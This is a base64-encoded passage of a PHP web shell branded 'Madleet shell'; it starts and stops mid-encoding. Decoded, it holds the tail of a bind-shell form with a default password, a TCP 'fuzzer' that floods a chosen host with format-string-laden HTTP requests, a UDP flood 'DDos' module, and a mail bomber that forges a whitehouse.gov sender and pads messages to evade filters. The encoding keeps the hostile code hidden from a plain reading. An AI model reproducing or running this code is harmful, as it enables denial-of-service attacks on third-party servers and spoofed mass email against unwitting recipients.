NCiAgICAgICAgICAgICAgICAgICAgPHRkPlBhc3N3ZCA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6IDEwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0icGFzc3dkIiBzaXplPSc1JyB2YWx1ZT0iTWFkbGVldCIvPiZuYnNwOyZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6IDkwcHg7IiBjbGFzcz0ib3duIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCaW5kIDpEISIvPjwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPC90YWJsZT4gDQogICAgICAgICA8L3RkPiANCiAgICAgICAgIDwvZm9ybT4gDQogICAgPC90cj4gDQogICAgPC90YWJsZT4gDQogICAgPHAgYWxpZ249ImNlbnRlciIgc3R5bGU9ImNvbG9yOiByZWQ7IiA+Tm90ZSA6IEFmdGVyIGNsaWNraW5nIFN1Ym1pdCBidXR0b24gLCBUaGUgYnJvd3NlciB3aWxsIHN0YXJ0IGxvYWRpbmcgY29udGludW91c2x5ICwgRG9udCBjbG9zZSB0aGlzIHdpbmRvdyAsIFVubGVzcyB5b3UgYXJlIGRvbmUhPC9wPiANCjw/cGhwIA0KICAgIH0gDQp9IA0KDQovL2Z1enplciANCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnZnV6eiddKSkgDQp7IA0KICAgIGlmKGlzc2V0KCRfR0VUWydpcCddKSAmJiANCiAgICBpc3NldCgkX0dFVFsncG9ydCddKSAmJiANCiAgICBpc3NldCgkX0dFVFsndGltZXMnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ3RpbWUnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2VNdWx0aXBsaWVyJ10pICYmIA0KICAgICRfR0VUWydtZXNzYWdlJ10gIT0gIiIgJiYgDQogICAgJF9HRVRbJ3RpbWUnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsndGltZXMnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsncG9ydCddICE9ICIiICYmIA0KICAgICRfR0VUWydpcCddICE9ICIiICYmIA0KICAgICRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddICE9ICIiIA0KICAgICkgDQogICAgeyANCiAgICAgICAkSVA9JF9HRVRbJ2lwJ107IA0KICAgICAgICRwb3J0PSRfR0VUWydwb3J0J107IA0KICAgICAgICR0aW1lcyA9ICRfR0VUWyd0aW1lcyddOyANCiAgICAgICAkdGltZW91dCA9ICRfR0VUWyd0aW1lJ107IA0KICAgICAgICRzZW5kID0gMDsgDQogICAgICAgJGVuZGluZyA9ICIiOyANCiAgICAgICAkbXVsdGlwbGllciA9ICRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddOyANCiAgICAgICAkZGF0YSA9ICIiOyANCiAgICAgICAkbW9kZT0idGNwIjsgDQogICAgICAgJGRhdGEgLj0gIkdFVCAvIjsgDQogICAgICAgJGVuZGluZyAuPSAiIEhUVFAvMS4xXG5cclxuXHJcblxyXG5cciI7IA0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICJ0Y3AiKSANCiAgICAgICAgeyANCiAgICAgICAgICAgICRtb2RlID0gInRjcCI7IA0KICAgICAgICB9IA0KICAgICAgICB3aGlsZSgkbXVsdGlwbGllci0tKSANCiAgICAgICAgeyANCiAgICAgICAgICAgICRkYXRhIC49IHVybGVuY29kZSgkX0dFVFsnbWVzc2FnZSddKTsgDQogICAgICAgIH0gDQogICAgICAgICRkYXRhIC49ICIlcyVzJXMlcyVkJXglYyVuJW4lbiVuIjsvLyBhZGQgc29tZSBmb3JtYXQgc3RyaW5nIHNwZWNpZmllcnMgDQogICAgICAgICRkYXRhIC49ICJieS1NYWRsZWV0LXNoZWxsIi4kZW5kaW5nOyANCiAgICAgICAgJGxlbmd0aCA9IHN0cmxlbigkZGF0YSk7IA0KICAgICAgICAgDQogICAgICAgICANCiAgICAgICBlY2hvICJTZW5kaW5nIERhdGEgOi0gPGJyIC8+IDxwIGFsaWduPSdjZW50ZXInPiRkYXRhPC9wPiI7IA0KICAgICAgICAgDQogICAgICAgcHJpbnQgIkkgYW0gYXQgbWEgV29yayBub3cgOkQgO0QhIERvbnQgY2xvc2UgdGhpcyB3aW5kb3cgdW50aWxsIHlvdSByZWNpZXZlIGEgbWVzc2FnZSA8YnI+IjsgDQogICAgICAgZm9yKCRpPTA7JGk8JHRpbWVzOyRpKyspIA0KICAgICAgIHsgDQogICAgICAgICAgICAkc29ja2V0ID0gZnNvY2tvcGVuKCIkbW9kZTovLyRJUCIsICRwb3J0LCAkZXJyb3IsICRlcnJvclN0cmluZywgJHRpbWVvdXQpOyANCiAgICAgICAgICAgIGlmKCRzb2NrZXQpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBmd3JpdGUoJHNvY2tldCAsICRkYXRhICwgJGxlbmd0aCApOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHNvY2tldCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRnV6emluZyBDb21wbGV0ZWQhJyk7PC9zY3JpcHQ+IjsgDQogICAgICAgIGVjaG8gIkRPUyBhdHRhY2sgYWdhaW5zdCAkbW9kZTovLyRJUDokcG9ydCBjb21wbGV0ZWQgb24gIi5kYXRlKCJoOmk6cyBBIikuIjxiciAvPiI7IA0KICAgICAgICBlY2hvICJUb3RhbCBOdW1iZXIgb2YgUGFja2V0cyBTZW50IDogIiAuICR0aW1lcyAuICI8YnIgLz4iOyANCiAgICAgICAgZWNobyAiVG90YWwgRGF0YSBTZW50ID0gIi4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCR0aW1lcyokbGVuZ3RoKSAuICI8YnIgLz4iOyAgDQogICAgICAgIGVjaG8gIkRhdGEgcGVyIHBhY2tldCA9ICIgLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJGxlbmd0aCkgLiAiPGJyIC8+IjsgDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgID8+IA0KICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZnV6eiIgLz4gDQogICAgICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiPiANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQwMCIgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBJUCANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0iaXAiIHZhbHVlPSIxMjcuMC4wLjEiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEyNy4wLjAuMScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMjcuMC4wLjEnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIFBvcnQgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InBvcnQiIHZhbHVlPSI4MCIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnODAnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nODAnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIFRpbWVvdXQgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InRpbWUiIHZhbHVlPSI1IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc1Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzUnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBObyBvZiB0aW1lcyANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0idGltZXMiIHZhbHVlPSIxMDAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMDAnOyIgLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBNZXNzYWdlIDxmb250IGNvbG9yPSJyZWQiPihUaGUgbWVzc2FnZSBTaG91bGQgYmUgbG9uZyBhbmQgaXQgd2lsbCBiZSBtdWx0aXBsaWVkIHdpdGggdGhlIHZhbHVlIGFmdGVyIGl0KTwvZm9udD4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9Im1lc3NhZ2UiIHZhbHVlPSIlUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJyVTJXgtLVNvbWUgR2FyYmFnZSBoZXJlIC0tJXglUycpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSclUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICB4IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJ3aWR0aDogMzBweDsiIGNsYXNzPSJjbWQiIG5hbWU9Im1lc3NhZ2VNdWx0aXBsaWVyIiB2YWx1ZT0iMTAiIC8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHJvd3NwYW49IjIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iTGV0IGl0IFJpcCEgOkQiLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgDQogICAgICAgIDwvZm9ybT4gDQogICAgICAgIDw/cGhwIA0KICAgIH0gDQp9IA0KDQoNCi8vRERvcyANCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnZG9zJ10pKSANCnsgDQogICAgaWYoaXNzZXQoJF9HRVRbJ2lwJ10pICYmIA0KICAgIGlzc2V0KCRfR0VUWydleFRpbWUnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ3BvcnQnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ3RpbWVvdXQnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ2V4VGltZSddKSAmJiANCiAgICAkX0dFVFsnZXhUaW1lJ10gIT0gIiIgJiYgDQogICAgJF9HRVRbJ3BvcnQnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsnaXAnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsndGltZW91dCddICE9ICIiICYmIA0KICAgICRfR0VUWydleFRpbWUnXSAhPSAiIiANCiAgICApIA0KICAgIHsgDQogICAgICAgJElQPSRfR0VUWydpcCddOyANCiAgICAgICAkcG9ydD0kX0dFVFsncG9ydCddOyANCiAgICAgICAkZXhlY3V0aW9uVGltZSA9ICRfR0VUWydleFRpbWUnXTsgDQogICAgICAgJG5vT2ZCeXRlcyA9ICRfR0VUWydub09mQnl0ZXMnXTsgDQogICAgICAgJGRhdGEgPSAiIjsgDQogICAgICAgJHRpbWVvdXQgPSAkX0dFVFsndGltZW91dCddOyANCiAgICAgICAkcGFja2V0cyA9IDA7IA0KICAgICAgICRjb3VudGVyID0gJG5vT2ZCeXRlczsgDQogICAgICAgJG1heFRpbWUgPSB0aW1lKCkgKyAkZXhlY3V0aW9uVGltZTs7IA0KICAgICAgIHdoaWxlKCRjb3VudGVyLS0pIA0KICAgICAgIHsgDQogICAgICAgICAgICAkZGF0YSAuPSAiWCI7IA0KICAgICAgIH0gDQogICAgICAgJGRhdGEgLj0gIi1ieS1NYWRsZWV0LVNoZWxsIjsgIA0KICAgICAgIHByaW50ICJJIGFtIGF0IG1hIFdvcmsgbm93IDpEIDtEISBEb250IGNsb3NlIHRoaXMgd2luZG93IHVudGlsbCB5b3UgcmVjaWV2ZSBhIG1lc3NhZ2UgPGJyPiI7IA0KICAgICAgICANCiAgICAgICB3aGlsZSgxKSANCiAgICAgICB7IA0KICAgICAgICAgICAgJHNvY2tldCA9IGZzb2Nrb3BlbigidWRwOi8vJElQIiwgJHBvcnQsICRlcnJvciwgJGVycm9yU3RyaW5nLCAkdGltZW91dCk7IA0KICAgICAgICAgICAgaWYoJHNvY2tldCkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkc29ja2V0ICwgJGRhdGEpOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHNvY2tldCk7IA0KICAgICAgICAgICAgICAgICRwYWNrZXRzKys7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGlmKHRpbWUoKSA+PSAkbWF4VGltZSkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0REb3MgQ29tcGxldGVkIScpOzwvc2NyaXB0PiI7IA0KICAgICAgICBlY2hvICJET1MgYXR0YWNrIGFnYWluc3QgdWRwOi8vJElQOiRwb3J0IGNvbXBsZXRlZCBvbiAiLmRhdGUoImg6aTpzIEEiKS4iPGJyIC8+IjsgDQogICAgICAgIGVjaG8gIlRvdGFsIE51bWJlciBvZiBQYWNrZXRzIFNlbnQgOiAiIC4gJHBhY2tldHMgLiAiPGJyIC8+IjsgDQogICAgICAgIGVjaG8gIlRvdGFsIERhdGEgU2VudCA9ICIuIEh1bWFuUmVhZGFibGVGaWxlc2l6ZSgkcGFja2V0cyokbm9PZkJ5dGVzKSAuICI8YnIgLz4iOyAgDQogICAgICAgIGVjaG8gIkRhdGEgcGVyIHBhY2tldCA9ICIgLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJG5vT2ZCeXRlcykgLiAiPGJyIC8+IjsgDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgID8+IA0KICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9zIiAvPiANCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDAwIiBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIElQIA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJpcCIgdmFsdWU9IjEyNy4wLjAuMSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTI3LjAuMC4xJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEyNy4wLjAuMSc7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgUG9ydCANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjgwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc4MCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc4MCc7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCA8Zm9udCBjb2xvcj0icmVkIj4oVGltZSBpbiBzZWNvbmRzKTwvZm9udD4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InRpbWVvdXQiIHZhbHVlPSI1IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc1Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzUnOyIgLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgRXhlY3V0aW9uIFRpbWUgPGZvbnQgY29sb3I9InJlZCI+KFRpbWUgaW4gc2Vjb25kcyk8L2ZvbnQ+ICANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0iZXhUaW1lIiB2YWx1ZT0iMTAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEwJzsiLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBObyBvZiBCeXRlcyBwZXIvcGFja2V0IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJub09mQnl0ZXMiIHZhbHVlPSI5OTk5OTkiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzk5OTk5OScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc5OTk5OTknOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHJvd3NwYW49IjIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iTGV0IGl0IFJpcCEgOkQiLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgDQogICAgICAgIDwvZm9ybT4gDQogICAgICAgIDw/cGhwIA0KICAgIH0gDQp9IA0KDQovLyBNYWlsIEJvbWJlciANCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnYm9tYiddKSkgDQp7IA0KICAgIGlmKCANCiAgICAgICAgaXNzZXQoJF9HRVRbJ3RvJ10pICYmIA0KICAgICAgICBpc3NldCgkX0dFVFsnc3ViamVjdCddKSAmJiANCiAgICAgICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgDQogICAgICAgIGlzc2V0KCRfR0VUWyd0aW1lcyddKSAmJiANCiAgICAgICAgJF9HRVRbJ3RvJ10gIT0gJycgJiYgDQogICAgICAgICRfR0VUWydzdWJqZWN0J10gIT0gJycgJiYgDQogICAgICAgICRfR0VUWydtZXNzYWdlJ10gIT0gJycgJiYgDQogICAgICAgICRfR0VUWyd0aW1lcyddICE9ICcnIA0KICAgICkgDQogICAgeyANCiAgICAgICAgJHRpbWVzID0gJF9HRVRbJ3RpbWVzJ107IA0KICAgICAgICB3aGlsZSgkdGltZXMtLSkgDQogICAgICAgIHsgDQogICAgICAgICAgICBpZihpc3NldCgkX0dFVFsncGFkZGluZyddKSkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICRmcm9tUGFkZCA9IHJhbmQoMCw5OTk5KTsgDQogICAgICAgICAgICAgICAgJHN1YmplY3RQYWRkID0gIiAtLSBJRCA6ICIucmFuZCgwLDk5OTk5OTkpOyANCiAgICAgICAgICAgICAgICAkbWVzc2FnZVBhZGQgPSAiXG5cbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIi5yYW5kKDAsOTk5OTk5OTkpOyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJGZyb20gPSAicHJlc2lkZW50JGZyb21QYWRkQHdoaXRlaG91c2UuZ292IjsgDQogICAgICAgICAgICBpZighbWFpbCgkX0dFVFsndG8nXSwkX0dFVFsnc3ViamVjdCddLiRzdWJqZWN0UGFkZCwkX0dFVFsnbWVzc2FnZSddLiRtZXNzYWdlUGFkZCwiRnJvbToiLiRmcm9tKSkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICRlcnJvciA9IDE7IA0KICAgICAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSdhbGVydCc+U29tZSBFcnJvciBPY2N1cmVkITwvcD4iOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBpZigkZXJyb3IgIT0gMSkgDQogICAgICAgIHsgDQogICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPk1haWwocykgU2VudCE8L3A+IjsgDQogICAgICAgIH0gDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgID8+IA0KICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYm9tYiIgLz4gDQogICAgICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiPiANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBUbyAgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InRvIiB2YWx1ZT0idmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICd2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20nKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0ndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJzsiLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBTdWJqZWN0IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6IScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSdKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohJzsiIC8+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBOby4gb2YgVGltZXMgICANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0idGltZXMiIHZhbHVlPSIxMDAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMDAnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBQYWQgeW91ciBtZXNzYWdlIChM